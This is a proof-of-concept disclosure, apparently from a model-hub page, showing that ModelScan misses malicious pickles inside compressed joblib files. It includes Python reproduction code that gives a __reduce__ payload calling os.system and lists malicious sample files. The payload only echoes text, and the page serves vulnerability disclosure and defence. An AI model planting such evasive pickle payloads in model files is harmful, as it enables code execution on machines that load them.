ModelScan Compressed Joblib Bypass PoC
Summary
ModelScan fails to scan compressed joblib files, allowing arbitrary code execution via joblib.load().
Vulnerability
- Affected format:
.joblib(compressed with zlib, gzip, bz2, lz4) - Scanner: modelscan 0.7.6 and 0.8.8 (git HEAD)
- Result: "No issues found" for all compressed variants
- Impact: Full RCE on
joblib.load()
Root Cause
Joblib's default serialization uses zlib compression (level 3). ModelScan's pickle scanner attempts to parse the compressed bytes as raw pickle opcodes, encounters an unknown opcode (the compression header byte), and errors out silently β reporting "No issues found" instead of flagging the file as unanalyzable.
Reproduction
import joblib, os
class Evil:
def __reduce__(self):
return (os.system, ('echo PWNED',))
# Create (default compression = zlib level 3)
joblib.dump(Evil(), 'evil.joblib', compress=3)
# Scan β reports "No issues found"
# modelscan scan -p evil.joblib
# Load β executes code
joblib.load('evil.joblib') # prints PWNED
Files
joblib_bypass_poc.joblibβ Default compression (zlib level 3)joblib_bypass_zlib.joblibβ Explicit zlibjoblib_bypass_gzip.joblibβ gzip compressionjoblib_bypass_bz2.joblibβ bz2 compressionjoblib_bypass_lz4.joblibβ lz4 compression
All pass modelscan with "No issues found". All execute code on joblib.load().
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support